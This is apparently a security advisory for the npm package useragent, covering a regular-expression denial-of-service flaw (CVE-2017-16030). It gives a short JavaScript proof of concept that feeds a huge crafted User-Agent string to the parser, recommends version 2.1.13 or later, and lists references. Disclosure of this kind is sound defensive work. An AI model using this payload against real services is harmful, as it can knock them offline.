Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.

Proof of Concept

var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));

Recommendation

Update to version 2.1.13 or later.

References

• https://nvd.nist.gov/vuln/detail/CVE-2017-16030
• GHSA-pjmx-9xr3-82qr
• https://www.npmjs.com/advisories/312